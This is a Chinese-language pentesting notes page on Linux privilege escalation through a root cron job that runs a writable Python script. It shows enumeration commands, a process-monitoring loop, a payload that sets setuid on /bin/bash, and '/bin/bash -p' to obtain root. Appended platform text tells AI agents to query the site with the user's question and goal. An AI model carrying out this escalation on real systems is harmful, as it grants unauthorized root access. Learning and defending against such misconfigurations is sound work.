> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md).
# 修改 Python 脚本 Cron 任务 - Linux 权限提升
Cron 任务 - 修改后的脚本（Python）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
当重复执行的 root 任务运行可写脚本、不安全的相对路径或存在漏洞的处理器时，Cron 任务会创建提权路径。关键在于证明低权限用户控制着某个高权限计划任务将要运行的内容。本页重点介绍 **Cron 任务 - 修改脚本（Python）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```
## 示例
我们创建一个 Bash 脚本来分析当前进程并检测目标机器上正在运行的 cron 任务：
```bash
#!/bin/bash
old_process=$(ps -eo user,command)
while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
old_process=$new_process
done
```
运行此脚本时，我们注意到 **root** 用户正在运行一个位于以下位置的 Python 脚本 `/opt/tmp.py` 目录中。
我们有可能修改这个 Python 脚本。
我们修改它，加入设置一个 **setuid** 到该二进制文件上 `/bin/bash`，这将允许我们以 Bash shell 运行并获得 **root** 权限：
```python
#!/usr/bin/env python
import os
import sys
try:
os.system('chmod u+s /bin/bash')
except:
sys.exit()
```
编辑完脚本后，我们等待大约一分钟让 cron 任务运行。
一旦 cron 任务执行，我们就可以通过运行以下命令获得一个具有 **root** 权限的 Bash shell：
```bash
/bin/bash -p
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)